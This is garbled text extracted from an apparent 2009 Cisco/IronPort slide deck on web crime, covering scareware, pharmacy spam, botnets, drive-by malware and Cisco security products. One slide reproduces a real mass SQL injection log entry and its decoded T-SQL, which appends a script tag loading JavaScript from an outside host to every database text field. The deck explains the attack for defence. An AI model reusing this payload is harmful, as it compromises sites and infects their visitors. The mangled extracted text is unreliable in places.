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ObjectivesObjectives

 Illustrate successful criminals their methods and profits Illustrate successful criminals, their methods and profits

 Understand primary methods of criminal revenue 
generation via web abusegeneration via web abuse

 Explain fundamental weaknesses in HTTP, web 
b DNS d b th t k i i lbrowsers, DNS and web servers that make criminals so 
successful

Sh l ld l f l d li d i Show real-world examples of malware delivered via 
SQL injection to highly-trafficked legitimate European 
websiteswebsites

 Describe client and gateway web security solutions
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AgendaAgenda

Web Fuels Criminal ProfitsWeb Fuels Criminal Profits

Web 2.0 Abuse

 Understanding the Problem in Five Parts
1. Social Engineering

2. What’s on that Web Page

3. Web Browser Ecosystem Vulnerabley

4. Malware Defeats Anti-Virus Signatures

5. Web Servers Vulnerable

 Solutions
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Internet HistoryInternet History

 The history of the internet started in the early 90’s or 

even the 80’s

 1950’s has the Korean War

 Soviet Union launching nuclear weapons against US 

soil / the launch of the Sputnik satellite in 1957

 DARPA (Defense Advanced Research Projects DARPA (Defense Advanced Research Projects 

Agency) / in the late 1950’s
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Internet HistoryInternet History

The World Wide Web was actually created in 1989, y ,
however the World Wide Web was introduced publicly 

on August 6, 1991
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Growth of Internet and BusinessGrowth of Internet and Business
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Web Fuels 
Criminal ProfitsCriminal Profits
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Criminal 1: 
The AmateurThe Amateur

 $60K from Adware on$60K from Adware on 
400K PCs

L d h ( Z C h) Loudcash (now ZangoCash)
$0.40 per install

“Every day 7,500-10,000 
ZangoCash affiliates distribute our 

software to users who are thenJeanson James Ancheta software to users who are then 
connected with more than 6,000 

MetricsDirect advertisers.”

Jeanson James Ancheta
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Criminal 2: 
The ProfessionalThe Professional

Smartbot.Net Malware
 Opened CD-ROM tray

 “If your cd-rom drive’s open . . 
.you desperately need to rid 
your system of spyware pop-
ups immediately!  Download p y
Spy Wiper now!”

 Spy Wiper and Spy Deleter 
sold for $30Sanford Wallace sold for $30

$4M FTC judgment

Sanford Wallace
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DriveCleaner Revenue $10k per DayDriveCleaner Revenue $10k per Day
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Also Known as Virtumonde, DriveCleaner



Criminal Ecosystem
M l D l t d Di t ib tiMalware Development and Distribution

Commercial Spyware Developer
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Modern Botnets Re born for Web AttacksModern Botnets Re-born for Web Attacks

St ’ bl d d il/ b tt k t d b t Storm’s blended email/web attack created spam bots
Repurposed for BBC, CNN spam with scareware spyware URL

 Asprox originally password stealing trojan
Repurposed to find and SQL inject vulnerable web servers
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Example #1: New Scareware SpywareExample #1: New Scareware Spyware

 Infects via social engineering Infects via social engineering
Website tricks user into installing

 Infects via Storm BBC email to infected landing page
Attempts web-based exploits and social engineering install

 Infects via SQL-injection compromise of legitimate web 
page

Visitors to legitimate web page exploited
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Social Engineering Scareware SpywareSocial Engineering Scareware Spyware
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If Infected, Fake Scan Recommends “Removal”If Infected, Fake Scan Recommends Removal

“Antivirus XP has found 2794 
threats. It is recommended tothreats. It is recommended to 
proceed with removal”
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After scan, takes me to website identifies geo-
IP hides the close button off the screenIP, hides the close button off the screen
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Change the desktopChange the desktop
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Removes Desktop and Screen Saver tabs from 
control panelcontrol panel
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Antivirus Investigation by Joe StewartAntivirus Investigation by Joe Stewart

 Affiliate program run byAffiliate program run by 
Bakasoftware, advertised 
on GlavMed

 Bakasoftware.com entirely 
in Russian, will not infect 
Russian-speaking users

 Affiliate earned in 10 days 
through 154,825 AV XP 08 
installations and 2,772 
purchases ($5M/year)purchases ($5M/year)
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Example #2: My Canadian 
Pharmacy/BulkerBizPharmacy/BulkerBiz
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My Canadian Pharmacy ProfitsMy Canadian Pharmacy Profits

 Estimated at $100M/year Estimated at $100M/year

 Monitored “Zombie Proxy” and counted number of 
credit card transactions per hourcredit card transactions per hour

 Comparables—Christopher Smith (rizler) profits > $20M

 Confirmed with law enforcement and SpamHaus
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Example #3: Storm/Canadian Pharmacy/Glavmed

© 2009 Cisco Systems, Inc. All rights reserved. Cisco PublicPresentation_ID 22



Spam and Phishing CampaignsSpam and Phishing Campaigns

 Storm has sent a number of spam campaigns including Storm has sent a number of spam campaigns including
Phishing financial institutions

M l it tMule recruitment spam

Pump and Dump stock market manipulation image spam

Pump and Dump stock market manipulation MP3 audio spam

Pharma spam for Canadian Pharmacy

 The vast majority of Storm spam has been for 
Canadian Pharmacy
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Spam “Smoking Gun”Spam Smoking Gun

 There have been many theories about the relationship There have been many theories about the relationship 
between storm and storm spam
 A capacity issue unveiled the primary relationship A capacity issue unveiled the primary relationship
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What Happened?What Happened?

 Spamit com service manages spam domains and fulfillment Spamit.com service manages spam domains and fulfillment
Registers spamvertized domain, creates DNS records, NS servers, websites

Botnet owners using Spamit service receive feed of live spam sites

 The Storm botnet retrieved a list of domains but received

“The system is temporary busy, try to 
access it later. No data can be lost.”
“The system is temporary busy, try to 
access it later. No data can be lost.”

 Storm used this string and other website boilerplate in the spamStorm used this string and other website boilerplate in the spam

 Proven link between Storm, SpamIt.com and Canadian Pharmacy

© 2009 Cisco Systems, Inc. All rights reserved. Cisco PublicPresentation_ID 26



Spamit com Demo AccountSpamit.com Demo Account

From Joe Stewart, SecureWorks

Spamit.com customer login page showing 
sales and commissions
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Source: Joe Stewart, Secure Works



GlavMed Associated with Spamit comGlavMed Associated with Spamit.com

GlavMed is a BEST way to convert your pharmacy traffic into real money. Forget 
about miserable sums you're getting sending your visitors to PPC pharmacy.

You're loosing at least half of YOUR money converting traffic like this. GlavMed 
offers you a possibility to eliminate any agents and sell most popular pharmacy 
products directly. It means 30-40% revenue share.
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More Glavmed dataMore Glavmed data

“We take care of their entire shopping 
experience: fulfillment, customer 

i d hi i d t k th

“We take care of their entire shopping 
experience: fulfillment, customer 

i d hi i d t k thservice, and shipping, and we track the 
sales generated from your site.”
service, and shipping, and we track the 
sales generated from your site.”

D t ti E t f
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Configuring Web Sites



Web 2.0 Abuse
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Web 2 0 AbuseWeb 2.0 Abuse
2003 introduced sophisticated spamming tools such as
Dark, Revolution and Reactor Mailer

Early example of botnet-tool specialization to maximize profits

Web 2 0 is being monetized in the same way
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Web 2 0 AbuseWeb 2.0 Abuse
 Commercial tools for

account creation, posting,
CAPTCHA, IP rotation
T t G il Y h ! Targets: Gmail, Yahoo!,
Hotmail, MySpace,
Craigslist, blog sitesCraigslist, blog sites
 Enables abuse of many

services including webmailg
account creation for
spamming

© 2009 Cisco Systems, Inc. All rights reserved. Cisco PublicPresentation_ID 32



Multi-site Account Creator – Yahoo!Multi-site Account Creator – Yahoo!

“For Yahoo lovers, we suggest to frequently change their IP 
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gg y g
address”



Multi-site Account Creator GmailMulti-site Account Creator – Gmail

“It is STRONGLY recommended to use proxies for creating 
multiple accounts to avoid getting BANNED by Gmail”
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How to Evade CAPTCHAs?How to Evade CAPTCHAs?
Completely Automated Public Turing test to tell Computers and Humans Apart

 Wide deployment of CAPTCHAs 
has limited criminal success
 Required to create accounts, post 

on forums, etc
 Response: automated and manual 

CAPTCHA-solving
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Criminal Anti-CAPTCHA toolsCriminal Anti-CAPTCHA tools

 Remote CAPTCHA client Remote CAPTCHA client

 1000 CAPTCHAs for $1

 Wopla and Hotlan 
botnets

Welcome to our service!

We offer you a unique, open to general use of the service manal recognition CAPTCHA ( Completely Automatic Public
Turing Test to Tell Computers and Humans Apart) – pictures with code designed to protect owners of various web sites
from automatic registrationfrom automatic registration.

With us working tens of thousands of people from all over the world who are ready for a small fee for your povvodit on the
proposed text with your pictures.
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AllBots infoAllBots.info
 More than 100 products to abuse web 2.0 servicesp
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Understanding the 
ProblemProblem
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Understanding the Problem in Five PartsUnderstanding the Problem in Five Parts

1 Social Engineering and User Behavior1. Social Engineering and User Behavior

2. What’s on that Web Page

3. Web Browser Ecosystem Vulnerable

4. Malware Defeats Anti-Virus Signatures4. Malware Defeats Anti Virus Signatures

5. Web Servers Vulnerable
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1. Social Engineering
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Social EngineeringSocial Engineering
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Storm “Worm” September 9: FootballStorm Worm  September 9: Football

Storm Trojan Emails – Classic Blended ThreatStorm Trojan Emails – Classic Blended ThreatStorm Trojan Emails – Classic Blended ThreatStorm Trojan Emails – Classic Blended Threat
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Spoofed NFL SiteSpoofed NFL Site
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Familiar Site?Familiar Site?

The Real NFL Site
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The Real NFL Site



Storm August 26: YouTubeStorm August 26: YouTube

Where does this link to?Where does this link to?
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Blog Post to dcnf blogspot comBlog Post to dcnf.blogspot.com

Threat Blog Post—More Recruiting
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Malware Distribution Vectors
Web Social EngineeringWeb Social Engineering

 Anti spyware engine “noadware” is a spyware agent Anti-spyware engine noadware  is a spyware agent
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Anti Spyware Due DiligenceAnti-Spyware Due Diligence
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#1 Website My Canadian Pharmacy#1 Website – My Canadian Pharmacy
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The Real My Canadian Pharmacy OfficeThe Real My Canadian Pharmacy Office

1592 Wilson Avenue
Toronto, ON M3L 1A6
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Deception Twenty WaysDeception Twenty Ways

 18 more fraudulent elements including 18 more fraudulent elements including
Fake certificate
“All orders are received via a secure server”—no HTTPS 
Fake Verisign logo
Fake BBB logo
Fake pharmacy checker rating
Fake Canadian International Pharmacy (CIPA) license number
Fake “Verified by Visa” logoFake Verified by Visa  logo
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2. What’s on that 
Web PageWeb Page
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Web site HTML 
source code

HTML in web page includes text

HTML includes 
link to jpg imagelink to jpg image

Summary:
Initial web page objectInitial web page object 
indicates other 
objects to be fetched 
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Web pages include many objectsWeb pages include many objects

 Web pages usually consist of MANY objects

 HTML on page indicates objects to be fetched – from any server

 Each of these objects is retrieved with separate HTTP transaction

Discrete objects j
that each require a 
transaction
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RedirectionRedirection

 Browse spamvertized domain Browse spamvertized domain 
kxbkhs.lztalsole.com

http://kxbkhs lztalsole com/
 What website do you see?

r2.rx-shop.biz

http://kxbkhs.lztalsole.com/

GET / HTTP/1.1

Host: kxbkhs.lztalsole.com

>> HTTP/1.x 302 Moved Temporarily

“Pharma Shop”

 Web site redirection

>> Location: http://r2.rx-shop.biz

-------------------------------------------
------

http://r2 rx-shop biz/images/bot 01 gifhttp://r2.rx shop.biz/images/bot_01.gif

GET /images/bot_01.gif HTTP/1.1

Host: r2.rx-shop.biz

>> HTTP/1.x 200 OKOther Issues
 URL and URL obfuscation

 DNS and hosts file
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MyCanadianPharmacy ExampleMyCanadianPharmacy Example

1 Registered domain bigamousetract info1. Registered domain bigamousetract.info
Registered with 1-877namebid.com
Registered by Tobyann Ellis in Longview, WA
+68 phone number, dublin.com email

2. DNS servers
‘NS’ Records point to DNS servers in Taiwan Spain US BrazilNS  Records point to DNS servers in Taiwan, Spain, US, Brazil
‘A’ Record for web server points to Korean Telecom IP

3. Web server
bigamousetract.info server on Korean Telecom network
Web site images from Brazil, Slovenia, France, Greece, Netherlands
Spammers obfuscate web site connection using redirectors, framing, p g , g,
scripting, zombie proxies

4. Using “Fast Flux”
Location of web and DNS servers changing every five minutes
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3. Web Browser 
Ecosystem 
Vulnerable
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Web Browser Ecosystem Vulnerable

SANS Top 20 2007 Security Risks

 IE and Firefox vulnerable

http://www.sans.org/top20/#c1

“…hundreds of vulnerabilities in ActiveX controls installed by 
software vendors have been discovered.”

 Media Players & Browser Helper Objects (BHO)
RealPlayer, iTunes, Flash, Quicktime, Windows Mediay

Explosion of BHOs and third-party plug-ins 

Plug-ins are installed (semi) transparently by website. Users g ( ) p y y
unaware an at-risk helper object or plug-in is installed … 
introducing more avenues for hackers to exploit users visiting 
malicious web sites.
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Mpack: 29.86% Infection Rate in Spain
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4. Malware Defeats 
Anti-Virus SignaturesAnti Virus Signatures
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Malware Is on the RiseMalware Is on the Rise

# of unique Malware samples in 2006: 972K
# of unique Malware samples in 2007: 5.5M

500% increase in 12 Months
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Virus Sophistication Beats AVVirus Sophistication Beats AV

 182 virus tools at VX Heavens website vx netlux org 182 virus tools at VX Heavens website vx.netlux.org
Example: NGVCK (Next Generation Virus Creation Kit)

 Poly/Metamorphic tools create random variants
 Viruses download fresh copy every 24 hours
 Viruses use buddy program to reinstall virus if disinfected
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30% Mpack Trojan detection
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Cisco Security Agent
Al Vi il t C h i E d i t S itAlways Vigilant Comprehensive Endpoint Security

Laptop DesktopLaptop – Desktop
Protection

Server Protection
Corporate 
Acceptable Use

Regulatory 
Compliance (PCI) POS Protection
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Intrusion Prevention
“Z U d t ” T k R d“Zero Update” Track Record

 CSA has a proven track record of stopping brand newCSA has a proven track record of stopping brand new 
exploits, botnets, targeted attacks, worms, and viruses over 
past 7 years:

2001 – Code Red, Nimda (all 5 exploits), Pentagone (Gonner)
2002 – Sircam, Debploit, SQL Snake, Bugbear, 
2003 – SQL Slammer So Big Blaster/Welchia Fizzer2003 – SQL Slammer, So Big, Blaster/Welchia, Fizzer
2004 – MyDoom, Bagle, Sasser, JPEG browser exploit (MS04-028), RPC-
DCOM exploit (MS03-039), Buffer Overflow in Workstation service (MS03-
049)049)
2005 – Internet Explorer Command Execution Vulnerability, Zotob
2006 – USB Hacksaw, IE VML exploit, WMF, IE Textrange, RDS Dataspace
2007 – Rinbot, Storm Trojan, Big Yellow, Word(MS07-014), MS ANI 0Day,  
MS DNS 0Day

No signatures or configuration updates required
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What do Cisco Customers say
About Always Vigilant Endpoint Protection?About Always Vigilant Endpoint Protection?

"Cisco Security Agent 
ll t t h t

"When our networks were brought 
down we spent a lot of hours

"In May, we saw a day-zero 
virus that was morphing 
twice a day We were right onallows us to not have to 

rush to do testing of a new 
patch and not to worry 
about a new virus. We 

down, we spent a lot of hours 
trying to get them back up. So far, 
we've had zero problems 
on servers that are protected by 

twice a day. We were right on 
the forefront of the attack. 
We could see these things 
hitting, but they weren't 
b i i d b

about a e us e
don't expect to stop doing 
patching and updating—it's 
just the piece of mind of 
k i th t

Cisco Security Agents—no 
penetrations or compromises.
Cisco Security Agent has provided 
100 percent protection I would

bringing us down, because 
Cisco Security Agent was 
stopping them.“
“We can't shorten theknowing that we are 

protected while we're doing 
patching."

100 percent protection. I would 
definitely recommend it to 
anyone—and I do."

We can t shorten the 
testing process for new 
patches, but if I didn't have 
Cisco Security Agent on all 

PC I'd b tiour PCs, I'd be sweating 
bullets during that 
process."
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Mack Ragan Senior System Support 
Specialist, Columbia State University 

Thomas Moser, Manager of 
Information Technology Services, 
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5. Web Servers 
VulnerableVulnerable
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Attack Vector: Vulnerable Web Servers

SANS Top 20 2007 Security RisksSANS Top 20 2007 Security Risks
http://www.sans.org/top20/#c1

“Web application vulnerabilities in open-source as 
well as custom-built applications account for 
almost half the total number of vulnerabilities 
being discovered in the past year. These 
vulnerabilities are being exploited widely to 
convert trusted web sites into malicious servers 

i li t id l it d hi hi ”serving client-side exploits and phishing scams.”
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Real World SQL InjectionReal-World SQL Injection
HTTP Post made to thousands of web servers

2007-12-30 18:22:46 POST /crappyoutsourcedCMS.asp;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST

(0×4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006
100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F004300750072007
3006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C00
62002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C00730079007300630
06F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E00640020
0061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F
007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F
007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F004300750072007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F004300750072
0073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F00430075
00720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048
005F005300540041005400550053003D0030002900200042004500470049004E0020006500780065006300280027007500700064006100740065
0020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D002
80063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B002700
27003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F0063002E007500630038003000310030002E00
63006F006D002F0030002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E0
04500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400
054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F0072002000440
0450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));

EXEC(@S) 178|80040 14|U l d t ti k b f th h t t i ’G DECLARE @S NVARCHAR(4000)EXEC(@S);–178|80040e14|Unclosed_quotation_mark_before_the_character_string_’G;DECLARE_@S_NVARCHAR(4000);

SET_@S=CAST(0×4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C004000
43002000′. - 202.101.162.73 HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library) - 500 15248
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SQL Injection DecodedSQL Injection Decoded
Decoding ‘CAST’ values

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name

from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or 
b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set 
['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://c.uc8010.com/0.js></script>''')FETCH NEXT 
FROM

Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor DECLARE @T 
varchar(255),@C

A successful attack insertsA successful attack inserts
<script src=http://?.uc8010.com/0.js></script>

into varchar and text fields in SQL database
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Attack on BusinessWeek comAttack on BusinessWeek.com
Asprox Botnet in Action

 Asprox botnet is refined, 
smart and sophisticatedp

 SQL Injection inserted 
malicious IFrames

 Hundreds of pages on 
the Business Week site 
were affected
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Minnesotahomefinance com web siteMinnesotahomefinance.com web site
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Loading 
aarmrgdxrv.com



What’s really happeningWhat s really happening

 Minnesotahomefinance.com registered at Godaddy june, 2005

 209.51.132.218, Global Net Access in NY, with 312 domains

B f t h IFRAME & l d PHP f d•Browser fetches IFRAME & loads PHP from aarmrgdxrv.com
•85.255.121.195, Ukrtelegroup Ltd in Ukraine, with 15 domains
•Ukrtelegroup is part of RBN (Russian Business Network)g p p ( )

Other domains match the pattern; e.g. adtctqypoa.com…
•aarmrgdxrv.com registered at BIZCN.COM, INC.

Spamvertized domain ranking: #18 by volume #11 by % bad
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Spamvertized domain ranking: #18 by volume, #11 by % bad



lespecialisteenliterie fr has 77 221 13 188 iFramelespecialisteenliterie.fr has 77.221.13.188 iFrame
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www ifg aesconweb de/forum/index phpwww.ifg.aesconweb.de/forum/index.php

 Site invokes xprmn4u.info javascript

 Xprmn4u.info invokes vipasotka.com which invokes 
golnanosat com
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golnanosat.com



Hacked!Hacked!
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Exploited German WebsiteExploited German Website

Loading 
qiqi111.cn
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What’s really happeningWhat s really happening

 bad-waldsee.de registered at DENIC before 2003

 Hosted at 80.237.213.92 on Hosteurope in CologneHosted at 80.237.213.92 on Hosteurope in Cologne

• Browser gets IFRAME, runs m.js javascript at qiqi111.cng , j j p q q
• qiqi111.cn is Chinese website hosted in China
• Registered at 北京万⽹志成科技有限公司 in 2008
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Exploited Norwegian WebsiteExploited Norwegian Website

Loading 
sslwer.ru
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What’s happening on SportsKupp no?What s happening on SportsKupp.no?

 SportsKupp.no registered 2007, hosted in Oslo on p pp g ,
81.175.28.22, Hafslund Telecom

 Browser runs IFRAME object ngg.js from sslwer.ru

 sslwer.ru DNS Name Servers hosted more malware on 
dynamic IPs at Cablevision, Time Warner, Rogers

E.g. 191-15.127-70.tampabay.res.rr.com

 Registered at NAUNET-REG-RIPN by “Private Person”. 
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80% of registrars fresh domains listed in URIBL spam list.



http://www stavangersk no/http://www.stavangersk.no/

 Legitimate site
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htt // t k /? 7625http://www.stavangersk.no/?go=7625
 A directory on the bicycle club sited ec o y o e b cyc e c ub s e

The page is an IFrame cgi on 213 155 5 72 in Ukraine
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 The page is an IFrame cgi on 213.155.5.72 in Ukraine 
which loads php from tablets-city.com



Solutions

© 2009 Cisco Systems, Inc. All rights reserved. Cisco PublicPresentation_ID 83



ACE Web Application Firewall (WAF)

The WAF is a drop-in solution that protects 
web enabled applications from attacks

PCI Compliance, Virtual App Patching, Data Loss Prevention

web-enabled applications from attacks

 Secure – Deep packet protection of the most common vulnerabilities

 Fast – Processes 3,000+ TPS and 10,000+ concurrent connections

 Drop in Does not require recoding applications deployable in under an hour Drop-in - Does not require recoding applications, deployable in under an hour

 PCI 6.5/6.6 compliance is just a few clicks away
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Fighting the Last WarFighting the Last War
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But I’ve Got Firewalls, IPS, Anti-Virus 
and URL Filtering?!and URL Filtering?!

 Firewalls don’t stop port 25 or user requests for protocol Firewalls don t stop port 25 or user requests for protocol-
compliant HTTP(S)

 IPS does not stop social engineering
 New vulnerabilities continually
 Anti-virus is shockingly ineffective due to mutating viruses

390 LdPinch security signatures since original in 2003
More than 30,000 Bagel variants

 URL filtering can’t categorize an infinite number of sources URL filtering can t categorize an infinite number of sources
 URL filtering can’t protect from legitimate sites being hacked
 End-users roam End-users roam
 End-users choose to install, override security
 Once infected malware hides
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Once infected, malware hides



Network Is “Locked”—
Email and Web Are OpenEmail and Web Are Open

P t 80

Content Security
Port 25

Port 80
Port 443

y

Network Security
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The IronPort Story
A li ti S ifi S it G tApplication-Specific Security Gateways

Internet
SenderBase

(The Common

BLOCK Incoming Threats:
 Spam, Phishing/Fraud
 Viruses, Trojans, Worms
 Spyware, Adware

U h i d A (The Common 
Security Database) Unauthorized Access

EMAIL
Security Gateway

WEB
Security Gateway

APPLICATION-SPECIFIC
SECURITY GATEWAYS

Security Gateway

MANAGEMENT 
Controller

Security Gateway

ENFORCE P liCENTRALIZE Admin:
LAN/WAN

ENFORCE Policy:
 Acceptable Use
 Regulatory Compliance
 Intellectual Property
 Encryption

CENTRALIZE Admin:
 Per-user policy
 Per-user reporting
 Quarantine
 Archiving
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 EncryptionArchiving



Next Generation Secure Web GatewayNext Generation Secure Web Gateway
After IronPortBefore IronPort

Firewall

InternetInternet

Firewall

Web Proxy & Caching

Anti Spyware

IronPort S-Series

Anti-Spyware

Anti-Virus

Anti PhishingAnti-Phishing

URL Filtering

Policy Management

UsersUsers

Policy Management
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All web security components in a single integrated platform



IronPort S SeriesIronPort S-Series

 L4 traffic monitor to L4 traffic monitor to 
detect infected PCs

 URL filtering to block URL filtering to block 
known bad sites

W b t ti f th Web reputation for the 
“long tail”

A ti l t t

IronPort Web Security Appliance

 Anti-malware system to 
detect content
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Next Generation Web Security Platform



Layer 4 (L4) Traffic Monitor
I t t d N t k M it iIntegrated Network Monitoring

MANAGEMENT TOOLSMANAGEMENT TOOLS

Anti-Malware 
System

Web Reputation 
Filters

URL
Filters

L4 Traffic
Monitor

IronPort AsyncOS Web Security Platform
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Detecting Existing Client Infections
M it i “Ph H ” T ffiMonitoring “Phone Home” Traffic

 Layer 4 Traffic Monitor Layer 4 Traffic Monitor
Scans all traffic, all ports, 
all protocolsall protocols

Detects malware bypassing 

Port 80Port 80

 Powerful anti-malware data
Automatically updated 
anti-malware rules

Real-time rule generation 
using “Dynamic Discovery”
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IronPort Web Reputation Filters™

Th O t L f D fThe Outer Layer of Defense

MANAGEMENT TOOLS

Anti-Malware 
System

Web Reputation 
Filters

URL
Filters

L4 Traffic
Monitor

IronPort AsyncOS Web Security Platform
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IronPort’s SenderBase
F t M A t D t ti d P t tiFaster, More Accurate Detection and Protection

Combines Email and Web Traffic AnalysisCombines Email and Web Traffic Analysis

IronPort’s 
SenderBase

IronPort EMAIL IronPort WEB

 View into both email and web traffic dramatically 

IronPort EMAIL
Security Appliances Security Appliances

improves detection
83% of spam and 80% of overall email contains URLs
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Email is a key distribution vector for web-based malware



IronPort Web Reputation Filters
D t M k th DiffData Makes the Difference

P t
• URL Blacklists 

• URL Whitelists

Parameters

• URL Categorization Data

• HTML Content Data

• URL Behavior 

Gl b l V l D t

THREAT PREVENTION IN REAL-TIME

• Global Volume Data

• Domain Registrar Information

• Dynamic IP Addresses 

• Compromised Host Lists
SenderBase

Data

• Compromised Host Lists

• Web Crawler Data 

• Network Owners

• Known Threats URLs

Data Analysis/
Security Modeling

Web Reputation
Scores (WBRS)

-10 to +10

• Offline data (F500, G2000…)

• Website History Addresses Known and Unknown Sites
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Proxy Anonymizers
M ki B i P ttMasking Browsing Patterns

W b
Internet

Web 
Gateway

No AV Scanning
No Spyware Scanning 

Users

No Policy Enforcement
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HTTPS Use CasesHTTPS Use Cases

SSL Trojans
and Malware

Secure
Anonymizing

ProxiesProxies

Secure
Webmail
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Attachments



HTTPS 
A Bli d S t f E t iA Blind Spot for Enterprises

HTTP Traffic
Scanned for SecurityScanned for Security, 

Policy and Data 
Breaches

Web 
Gateway

Web 
Server

Internet

CANNOT be Scanned 
for Security, Policy and 

Data Breaches

Users

HTTPS (Encrypted) Traffic
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HTTPS Scanning
S l ti B d T tSelective, Based on Trust

Decrypted • Inspected • Re-encryptedDecrypted  Inspected  Re encrypted
Selectively on TRUST, Category, Source

Web 
Server

I P

Internet

Users

Decrypted • Inspected • Re-encrypted

IronPort 
S-Series

Decrypted  Inspected  Re encrypted
Selectively on Category, Source
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IronPort Anti-Malware System
I P t D i V t i d St i (DVS) E i ™IronPort Dynamic Vectoring and Streaming (DVS) Engine™

MANAGEMENT TOOLS

Anti-Malware 
System

Web Reputation 
Filters

URL
Filters

L4 Traffic
Monitor

IronPort AsyncOS Web Security Platform
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IronPort DVS Engine
M lti L d M l D fMulti-Layered Malware Defense

 Deep content

Webroot

 Deep content 
inspection

 High performance
McAfee

IRONPORT
DVS ENGINE
IRONPORT

DVS ENGINE

 High-performance 
scanning

Parallel scans DVS ENGINEDVS ENGINE

VERDICT
ENGINE

Parallel scans

Stream scanning

M lti l di t i

Policy ManagementPolicy Management

ENGINE 
“N” Multiple verdict engines

Integrated, on-box
Policy ManagementPolicy ManagementSupported engines:

Webroot, McAfee

A t t d U d t
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 Automated Updates



Industry-Leading Performance 
St S iStream Scanning

Scan 
Progress

Latency

DETERMINE

Scan 
Progress

Latency

DETERMINE
VERDICT

WRITE OBJECT

INSPECT
OBJECT

VERDICT

START 

BUFFER 
OBJECT

TO END USER

VERDICT

RECEIVE
ENTIRE 
OBJECT

WRITE OBJECT
TO DISK

START 
RECEIVING

OBJECT

INSPECTING
OBJECT

Time Time

 Accurately identifies “safe” objects for stream scanning

 Processes objects in parallel to minimize latency
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Processes objects in parallel to minimize latency



High-performance Web Proxy
C ti M t d O ti i d StConnection Management and Optimized Storage

Client-Side
Connections

Server-Side
Connections

IronPort
S-Series

Maintain pool of persistent 
TCP connections (client and

Handle extremely high traffic 
volumesTCP connections (client and 

server side)
volumes

Save CPU and memory 
cycles by leveraging system 
event notifications

Significantly improved 
resource utilization

Co-related object storage and 
high-performance caching

Significantly improved 
response times
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high performance caching response times



Industry-Leading Technology
O ti i d f Th h t d P fOptimized for Throughput and Performance

IronPort Web Security Appliance

Easily handles significant 
traffic spikes

100,000 duplex
Simultaneous
TCP Connections

Serves up to 10-25K users 
(traffic profile dependent)

10M unburdened,
5-7M burdened

HTTP Transactions 
Per Hour

Preserves end-user 
browsing experience

5-15 milliseconds
Average
Latency

(traffic profile dependent)5 7M burdenedPer Hour
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browsing experienceLatency



IronPort S-Series
F t 500 I C C St dFortune 500 Insurance Company Case Study

 F500 insurance company’s challenge: F500 insurance company s challenge:
$11 billion auto insurance provider, with 
over 25,000 users

“Deploying IronPort 
S-Series appliances

~8 servers for Microsoft ISA and Secure 
Computing

Malware infections causing desktop

S Series appliances 
is one of the best 
things we’ve ever 

Malware infections causing desktop 
re-imaging

Inability to create corporate-specific policies

done here. Stopping 
malware at the edge 

has significantly
 IronPort’s solution:

Spyware and Malware filtering at the 

has significantly 
reduced compliance 

and security 
gateway with multi-scanning

Integrated URL Filtering and Web Proxy

S lid t d b 75%

y
exposure for us.”

— James Owens 

© 2009 Cisco Systems, Inc. All rights reserved. Cisco PublicPresentation_ID 105

Servers consolidated by 75%

USERS 
PROTECTED 25,000+

Ja es O e s
Security Engineer



Conclusion
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ConclusionConclusion

 The web vector has become the #1 weakness targeted The web vector has become the #1 weakness targeted 
by criminals for profit
 The web browser ecosystem is vulnerableThe web browser ecosystem is vulnerable
 Web 2.0 exacerbates these problems

More active content from disparate, uncontrolled sourcesp ,

 Anti-virus is not an adequate solution
 Web servers are attacked and use to spread malware p

via legitimate sites
 A different approach is required
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What to Do?What to Do?

 Accept firewall IPS anti virus URL filtering alone are Accept firewall, IPS, anti-virus, URL filtering alone are 
inadequate
 Measure infection level (network layer)Measure infection level (network layer)

Initial infection level and ongoing as security improved
Identify root causes

 Accept we are at the beginning of the web security war
Technologies are rapidly adapting
Need a platform solution that can adapt to criminal behavior

 Deploy integrated network and application layer solution
W b t ti URL filt i ti l i tWeb reputation, URL filtering, anti-malware signatures

 Assess client solution
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Q and A
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Recommended ReadingRecommended Reading 

 There are currently no Cisco Press Books 
recommended for this Presentation - please browse the 
Ci C St f it bl titlCisco Company Store for suitable titles
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